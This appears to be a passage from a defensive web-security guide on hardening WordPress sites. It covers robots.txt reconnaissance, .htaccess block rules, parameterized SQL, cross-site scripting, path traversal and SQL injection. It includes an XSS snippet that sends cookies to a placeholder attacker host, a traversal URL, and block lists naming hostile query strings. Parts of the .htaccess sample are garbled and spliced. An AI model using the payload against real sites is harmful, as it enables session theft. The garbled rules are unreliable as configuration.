You can use the .htaccess file to block access to some of the site directories, in a similar way to how you can use the robots.txt file to request that robots ignore or do not index some directories. We use wget robots.txt htaccess at the very beginning to see what the site owners are hiding from searchengine spiders and to find out where the rewrites are going. If we know there is a wp-admin folder, we can know to dig in there immediately. We can also look for the paid content stored directly on the server. In the following robots.txt file, the unixtux folder might hold paid content that an evil hacker could sell. The following is the content of robots.txt from a WordPress site:

sitemap: http://cdn.attracta.com/sitemap/73546.xml.gz
User-agent: *
Disallow: /pscripts/
Disallow: /wp-content/
Disallow: /wp-admin/
Disallow: /unixtux/ 
Disallow: /wp-includes
Disallow: /wp-content/plugins
Disallow: /wp-content/cache
Disallow: /wp-content/themes
Disallow: /wp-includes/js
Disallow: /trackback
Disallow: /category/*/*
Disallow: */trackback
Disallow: /*?*
Disallow: /*?
Disallow: /*~*
Disallow: /*~

Robots are requested to ignore these directories, but it is basically a courtesy that the search engines offer to actually ignore the directories. Malware spiders may ignore the request for privacy.

The .htaccess is an invisible file (thus the dot at the beginning) which is part of the Apache webserver and lives in the root folder for the website. This file is a set of controls that tell the webserver where to direct certain requests. This file can be used to redirect certain requests, for instance:

Here are some examples of that:

<IfModule>
# BEGIN Ban Users
  # Begin HackRepair.com Blacklist
    RewriteEngine on
    RewriteCond %{HTTP_USER_AGENT} ^[Ww]eb[Bb]andit [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^Acunetix [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^binlar [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^Bolt 0 [NC,OR]
    Rewrite        RewriteCond %{HTTP_USER_AGENT} ^BOT for JCE [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^casper [NC,OR]Cond %{HTTP_USER_AGENT} ^Bot mailto:[email protected] [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^BOT for JCE [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^casper [NC,OR]
# END Ban Users
# BEGIN Tweaks
  # Rules to block access to WordPress specific files
    <files .htaccess>
    Order allow,deny
    Deny from all
    </files>
    <files readme.html>
    Order allow,deny
    Deny from all
  </files>
  <files readme.txt>
    Order allow,deny
    Deny from all
  </files>
</IfModule>

<IfModule mod_rewrite.c>
      RewriteEngine On
    
      # Rules to protect wp-includes
      RewriteRule ^wp-admin/includes/ - [F]
      RewriteRule !^wp-includes/ - [S=3]
      RewriteCond %{SCRIPT_FILENAME} !^(.*)wp-includes/ms-files.php
      RewriteRule ^wp-includes/[^/]+.php$ - [F]
      RewriteRule ^wp-includes/js/tinymce/langs/.+.php - [F]
      RewriteRule ^wp-includes/theme-compat/ - [F]
    
      # Rules to prevent php execution in uploads
      RewriteRule ^(.*)/uploads/(.*).php(.?) - [F]
    
      # Rules to block unneeded HTTP methods
      RewriteCond %{REQUEST_METHOD} ^(TRACE|DELETE|TRACK) [NC]
      RewriteRule ^(.*)$ - [F]
    
      # Rules to block suspicious URIs
      RewriteCond %{QUERY_STRING} ../ [NC,OR]
      RewriteCond %{QUERY_STRING} ^.*.(bash|git|hg|log|svn|swp|cvs) [NC,OR]
      RewriteCond %{QUERY_STRING} etc/passwd [NC,OR]
      RewriteCond %{QUERY_STRING} boot.ini [NC,OR]
      RewriteCond %{QUERY_STRING} ftp:  [NC,OR]
      RewriteCond %{QUERY_STRING} http:  [NC,OR]
      RewriteCond %{QUERY_STRING} https:  [NC,OR]
      RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
      RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|%3D) [NC,OR]
      RewriteCond %{QUERY_STRING} base64_encode.*(.*) [NC,OR]
      RewriteCond %{QUERY_STRING} ^.*(%24&x).* [NC,OR]
      RewriteCond %{QUERY_STRING} ^.*(127.0).* [NC,OR]
      RewriteCond %{QUERY_STRING} ^.*(globals|encode|localhost|loopback).* [NC,OR]
      RewriteCond %{QUERY_STRING} ^.*(request|concat|insert|union|declare).* [NC]
      RewriteCond %{QUERY_STRING} !^loggedout=true
      RewriteCond %{QUERY_STRING} !^action=jetpack-sso
      RewriteCond %{QUERY_STRING} !^action=rp
      RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$
    
      # Rules to block foreign characters in URLs	RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F).* [NC]
      RewriteRule ^(.*)$ - [F]
    
      # Rules to help reduce spam
      RewriteCond %{REQUEST_METHOD} POST
      RewriteCond %{REQUEST_URI} ^(.*)wp-comments-post.php*
      RewriteCond %{HTTP_USER_AGENT} ^$
    </IfModule>
# Custom error document redirects

ErrorDocument 400 /wp-content/plugins/bulletproof-security/400.php
ErrorDocument 401 default
ErrorDocument 403 /wp-content/plugins/bulletproof-security/403.php
ErrorDocument 404 /404.php
ErrorDocument 405 /wp-content/plugins/bulletproof-security/405.php
ErrorDocument 410 /wp-content/plugins/bulletproof-security/410.php

To maintain defense in depth, you have to implement as much automated resistance into the site as possible, but you will not be able to block many cross-site scripting attacks, SQL injection attacks, or buffer-overflow attacks with .htaccess.

Cross-site scripting is basically caused by invalid, un-escaped input from the browser. To stop it from happening on your Windows Application server, you have to create validating rules that work with your application architecture. The OWASP Top 10 Proactive Controls Document (https://www.owasp.org/images/5/57/OWASP_Proactive_Controls_2.pdf) shows examples of query parameterization for several languages you might be developing your applications in. The following is an example for C#.NET:

string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;

There are many different attacks possible with XSS, from minor site defacement to session hijacking. Below is an example of session hi-jacking.

'<script>
var img = new Image();
img.src="http://EvilHax0r.com?" + document.cookie;
</script>'

As a security engineer, you may have to show examples of exploit code that attacks the vulnerabilities, but you will expect the developers to handle the mitigating code for the vulnerable pages.

Any form field that can be filled by the user, or is hidden from the user and contains session information, can be overflowed unless it is parameterized and handles excess data safely. When you are reviewing your web logs, you might see an extra-long URL that ends with something like the following: http://,your-domain.com/images/../../../../../../../../../../%WINDOWS%/%system%/<something-useful-to-hackers>. This is a very simple command intended to cd to a system file in your Windows folder. The webserver attempts to parse the command implicitly in the URI and back up to the drive partition root and go forward into the Windows directory. Note that you can keep this from working by not having the webserver on the same drive partition. If the inetpub folder is on the r: drive, it's likely that the attacker 'won't have prepared changing drives. However, this will not work on a default install of Windows Server anymore, as the OS will not allow direct remote access to the webserver user. You cannot guarantee that access to another folder will be so well protected.

To reduce buffer overflows, the fields must fail in a safe way when a cracker tries to overflow the data stack of heap in memory. On the frontend, you could have parameters on each field, created in the HTML code, JavaScripting, or a hundred other methods, and though these look like quick and easy fixes, client-side code is not safe. It can be changed. The careful parameterization could be gone in a heartbeat. You need to have your developers write server-side code to protect the site from buffer overflow. Server-side verification code is harder to access and modify from a remote location.

A SQL injection is an attack that attempts to put an unexpected database command directly into your web application's database. An unexpected command pushed to your database can modify the content, including erasing the data. It can infect the database and push the infection to your users. It can let the evil hacker eavesdrop on every transaction on the database. It can let the attacker run operating-system commands on the host machine. Depending on how insecure the code is, your database could be getting successfully attacked over and over by automated tools. You will want to check your applications for whether the development framework uses an Object Relational Model (ORM) that automatically adds parameters to form fields and performs static code inspection.